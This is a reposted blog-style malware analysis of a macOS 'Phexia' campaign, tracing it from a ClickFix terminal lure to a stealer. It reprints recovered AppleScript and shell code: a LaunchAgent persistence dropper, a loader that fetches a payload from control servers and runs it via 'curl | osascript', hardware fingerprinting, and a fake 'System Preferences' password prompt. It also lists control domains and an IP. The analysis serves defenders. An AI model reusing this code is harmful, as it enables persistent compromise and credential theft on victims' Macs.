{"slug": "malware-insights-macos-phexia-campaign", "title": "Malware Insights: macOS Phexia Campaign", "summary": "A new macOS malware campaign dubbed Phexia uses compromised websites to trick users into pasting and executing malicious commands in Terminal, deploying a persistent backdoor that targets crypto wallets, browsers, and Telegram data. The attack chain involves a Clickfix payload, a LaunchAgent persistence mechanism, and a control server connection loop that fetches new domains via a Telegram bot. The campaign is linked to APT28, though unconfirmed by third parties.", "body_md": "## Malware Insights : MacOS Phexia Campaign\n\nI got nerdsniped today. Some compromised website wanted me to execute a command\nin the\n`Terminal.app`\n\nbecause I've set my User-Agent to a randomized profile and\nit was a MacOS Browser.\n\n### Overview\n\n- CNC domains :\n`x2db.cx`\n\n,`a5db.ch`\n\n,`a6b6.biz`\n\n,`kfcnevkusno.one`\n\n- CNC bots :\n`t.me/neverfakebot`\n\n- CNC networks : Cloudflare\n- Target OS : MacOS\n- Target Apps : (All) crypto wallets, (All) Browsers, Password extensions, Keychains, Browser Cookies, Browser History, Telegram Auth Data\n- Botnet Operator : (Unconfirmed by third-parties) APT28\n\n### Stage 1 : Clickfix Attack\n\nA compromised website asks you to execute a Clickfix payload via\n`Cmd + C`\n\nand\n`Cmd + V`\n\nright into the\n`Terminal.app`\n\n, having copied the downloader's script\ncommand already into your clipboard.\n\nThe initial payload for the downloader was obfuscated with\n`base64`\n\nencoding and\ndoes a\n`curl request`\n\nto download and execute an\n`osascript`\n\nfile which caught\nmy curiosity.\n\n```\nosascript -e \"$(echo \"... base64encoded ...\" | base64 -d)\"\n```\n\n#### Dropper Source Code\n\n```\ndo shell script \"\nSCRIPT_PATH=\\\"$HOME/Library/pwvrskwjcwvtcrjr\\\";\nmkdir -p \\\"$HOME/Library/LaunchAgents\\\";\ncat > \\\"$HOME/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist\\\" <<END_PLIST\n<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\n<!DOCTYPE plist PUBLIC \\\"-//Apple Computer//DTD PLIST 1.0//EN\\\" \\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\">\n<plist version=\\\"1.0\\\">\n  <dict>\n    <key>Label</key>\n    <string>com.launch.pwvrskwjcwvtcrjr</string>\n    <key>ProgramArguments</key>\n    <array>\n      <string>/usr/bin/osascript</string>\n      <string>$SCRIPT_PATH</string>\n    </array>\n    <key>RunAtLoad</key>\n    <true/>\n  </dict>\n</plist>\nEND_PLIST\n\"\ndo shell script \"echo \\\"...base64encoded_implant_downloader...\\\" | base64 -d > ~/Library/pwvrskwjcwvtcrjr\"\ndo shell script \"launchctl unload ~/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist 2>/dev/null\"\ndo shell script \"launchctl load ~/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist\"\n```\n\n#### Dropper Summary\n\n- Installs a\n`RunAtLoad`\n\nconfiguration to`~Library/LaunchAgents/com.components.<campaign-identifier>.plist`\n\n- Installs a LaunchAgent via\n`launchctl load <campaign-identifier>`\n\n- Downloads and executes second stage payload to\n`~/Library/<campaign-identifier>`\n\n### Stage 2 : Control Server Connection and Implant Downloader Loop\n\nThe\nCNC\nconnection loop is implemented with another\n`osascript`\n\nwhich\nalso requests new domains via a Telegram Bot that is owned by the Botnet operator.\n\n#### Downloader\n\n```\nproperty domainsList : {\"example.com\", \"another-example.com\", \"etc-pp.com\" }\nproperty activeDomain: \"\"\nproperty btxid: \"campaign-identifier\"\n\non setDomain()\n    repeat with d in domainsList\n        set domain to (contents of d)\n        set urlresult to \"http://\" & domain & \"/api.php?check\"\n        set actualurl to \"http://\" & domain & \"/\"\n        try\n            set response to do shell script \"/usr/bin/curl -s --connect-timeout 5 --max-time 10 \" & quoted form of urlresult\n            if response is \"success\" then\n                set activeDomain to actualurl\n                return true\n            end if\n        end try\n    end repeat\n    try\n        set domain to do shell script \"curl -s --connect-timeout 5 --max-time 10 https://t.me/botnet-bot-with-statusmessage | sed -n 's/.*<span dir=\\\"auto\\\">\\\\([^<]*\\\\)<\\\\/span>.*/\\\\1/p'\"\n        set urlresult to \"http://\" & domain & \"/api.php?check\"\n        set actualurl to \"http://\" & domain & \"/\"\n        set response to do shell script \"curl -s --connect-timeout 5 --max-time 10 \" & quoted form of urlresult\n        if response is \"success\" then\n            set activeDomain to actualurl\n            return true\n        end if\n    end try\n    return false\nend setDomain\n\nif setDomain() then\n    set startsrc to \"curl -s \" & quoted form of (activeDomain & \"get.php?txid=\" & btxid) & \" | osascript\"\n    do shell script startsrc\nend if\n```\n\n#### Downloader Summary\n\n- Checks the Botnet Operator owned Telegram Bot for changed CNC server domains\n- Requests\n`/api.php?check`\n\nand`/get.php?txid=...`\n\nto download malware implant - Downloads and executes third stage malware implant\n\n### Stage 3 : Malware Implant\n\nThe Malware Implant is a little more sophisticated than initially expected.\n\n#### UUID Fingerprinting\n\n```\non getUUID()\n    set methods to {\"ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\\\"' '/IOPlatformUUID/{print $4}'\", \"ioreg -rd1 -c IOPlatformExpertDevice | grep -o '\\\"IOPlatformUUID\\\"[^,]*' | cut -d'\\\"' -f4\", \"system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'\", \"system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'\"}\n    repeat with cmd in methods\n        try\n            set uuid to do shell script cmd\n            if length of uuid is 36 then\n                if uuid contains \"-\" then\n                    return uuid\n                end if\n            end if\n        end try\n    end repeat\nend getUUID\n```\n\n#### OS Credentials\n\n```\non getUsername()\n    set methods to {\"whoami\", \"id -un\", \"echo $USER\", \"logname\"}\n    repeat with cmd in methods\n        try\n            set username to do shell script cmd\n            if username is not \"\" then return username\n        end try\n    end repeat\n    return \"administrator\"\nend getUsername\n\non checkPassword(username, enteredpwd)\n    try\n        set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of enteredpwd\n        if result is not equal to \"\" then\n            return false\n        else\n            return true\n        end if\n    on error\n        return false\n    end try\nend checkPassword\n\non getPassword(username)\n    set passPhraseFilePath to POSIX path of (path to home folder) & \".passphrase\"\n    if checkPassword(username, \"\") then\n        do shell script \"echo nopassphrase > \" & quoted form of passPhraseFilePath\n        return true\n    else\n        repeat\n            try\n                set result to display dialog \"Enter password:\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"System Preferences\" with hidden answer\n                set enteredpwd to text returned of result\n                if checkPassword(username, enteredpwd) then\n                    do shell script \"echo \" & quoted form of enteredpwd & \" > \" & quoted form of passPhraseFilePath\n                    return true\n                end if\n            end try\n        end repeat\n    end if\nend getPassword\n```\n\n#### CNC Domain Update Mechanism\n\nThe CNC domain update mechanism is essentially the same as the Downloader Stage is using, therefore nothing different here.\n\n#### CNC Auth and Connect Loop\n\nThe CNC auth and connect loop uses\n`tccutil reset All`\n\nto reset the permissions\nfor the current user in case it was blocked. All permission dialogs for all Apps\nwill popup again to hide the malicious\n`System Preferences`\n\ntitled dialog and\nthe administrator password request, which is quite interesting as a technique\nto confuse the targeted victim user.\n\nIt does a request to\n`api.php?connect&username=...`\n\nto find out the registration status.\n\n- If response is\n`newconnect`\n\nit resets all permissions for the current user. - If response is\n`connected`\n\nit proceeds to download another implant based on task API.\n\n#### CNC Task Implant Loop\n\nEvery\n`60 seconds`\n\nthe Malware Implant tries to download a new task from the CNC\nserver. The download itself is done via\n`curl`\n\nor via injected\n`sh`\n\nscript and\nobfuscated again using\n`base64`\n\nencoding. The final downloaded task payload is\nan\n`osascript`\n\nfile containing the Phexia Stealer or other payloads.\n\n#### Malware Implant Summary\n\n- CNC domain update mechanism\n`UUID`\n\nfingerprinting via`ioreg -rd1 -c IOPlatformExpertDevice`\n\n`Username`\n\ngathering via`whoami`\n\n,`id -un`\n\n, or`logname`\n\n`Password`\n\ngathering with`System Preferences`\n\ntitle in dialog, keeping dialog alive for`150`\n\nretries, essentially making it uncloseable.- Downloads and executes fourth stage task implant every\n`60 seconds`\n\n### Stage 4 : Phexia Stealer\n\nThe final task implant is a Phexia Stealer. The code is written again in\n`osascript`\n\nand targets a lot of different MacOS Browsers, Browser Extensions,\nWallets, Password Managers, Keychains etc.\n\nAs this too much for this article on its own, you can read about more details on the Phexia Stealer malware in a separate article :\n\n### Botnet Command and Control Server\n\nThe Phexia Campaign's botnet is hosted always on\n`vdsina.com`\n\nVPS servers.\nInitially the Botnet Operator was using Russian ASNs from\n`Azalea Networks`\n\n,\nbefore they migrated towards\n`Cloudflare`\n\nfor all their domains to mask their\nidentity.\n\nThe CNC server itself is using\n`Apache 2.4.58`\n\non a standard\n`Ubuntu`\n\n:\n\n```\n> curl -v http://146.103.98.59/\n*   Trying 146.103.98.59:80...\n* Established connection to 146.103.98.59 (146.103.98.59 port 80) from 192.168.2.32 port 45944 \n* using HTTP/1.x\n> GET / HTTP/1.1\n> Host: 146.103.98.59\n> User-Agent: curl/8.18.0\n> Accept: */*\n> \n* Request completely sent off\n< HTTP/1.1 200 OK\n< Date: Sun, 15 Mar 2026 01:14:29 GMT\n< Server: Apache/2.4.58 (Ubuntu)\n< Last-Modified: Tue, 03 Mar 2026 11:38:38 GMT\n< ETag: \"0-64c1d24f40b80\"\n< Accept-Ranges: bytes\n< Content-Length: 0\n< Content-Type: text/html\n< \n* Connection #0 to host 146.103.98.59:80 left intact\n```\n\nThough the server has a lot of open ports. Probably using\n`portspoof`\n\nor a\nsimilar tool to create those, because none of the ports are reacting even\nwhen I rotate my victim machines.\n\n```\n> nmap -P0 146.103.98.59\nStarting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 02:14 +0100\nNmap scan report for v678355.hosted-by-vdsina.com (146.103.98.59)\nHost is up (0.013s latency).\nNot shown: 985 closed tcp ports (conn-refused)\nPORT     STATE    SERVICE\n20/tcp   filtered ftp-data\n21/tcp   filtered ftp\n22/tcp   open     ssh\n23/tcp   filtered telnet\n25/tcp   filtered smtp\n80/tcp   open     http\n135/tcp  filtered msrpc\n139/tcp  filtered netbios-ssn\n161/tcp  filtered snmp\n427/tcp  filtered svrloc\n445/tcp  filtered microsoft-ds\n6666/tcp filtered irc\n6667/tcp filtered irc\n6668/tcp filtered irc\n6669/tcp filtered irc\n```\n\n### Links to Amatera Botnet and APT28\n\nThe Abuse Database shows a lot of Amatera activity coming from the same networks :\n\nA lot of hosts in the former\n`vdsina.ru`\n\n(RU) and now rebranded\n`vdsina.com`\n\n(UAE)\nnetworks are using Amatera stealer signatures.\n\nIt's likely that this is a Russian operation which is part of APT28. Amatera campaigns in the past were focused a lot on Ukrainian networks and websites, but it's unclear at this point whether Phexia stealer campaigns are a part of the same Botnet or whether it's part of the now (post-botnet-takedown in February 2023) restructured APT29 initiative.\n\nAs their CNC is using PHP it's just a matter of time until I find an exploit : )", "url": "https://wpnews.pro/news/malware-insights-macos-phexia-campaign", "canonical_source": "https://cookie.engineer/weblog/articles/malware-insights-macos-phexia-campaign.html", "published_at": "2026-06-26 18:13:33+00:00", "updated_at": "2026-06-26 18:35:53.794470+00:00", "lang": "en", "topics": ["ai-safety", "ai-policy"], "entities": ["APT28", "Cloudflare", "Telegram", "macOS", "Terminal.app", "LaunchAgent", "Clickfix"], "alternates": {"html": "https://wpnews.pro/news/malware-insights-macos-phexia-campaign", "markdown": "https://wpnews.pro/news/malware-insights-macos-phexia-campaign.md", "text": "https://wpnews.pro/news/malware-insights-macos-phexia-campaign.txt", "jsonld": "https://wpnews.pro/news/malware-insights-macos-phexia-campaign.jsonld"}}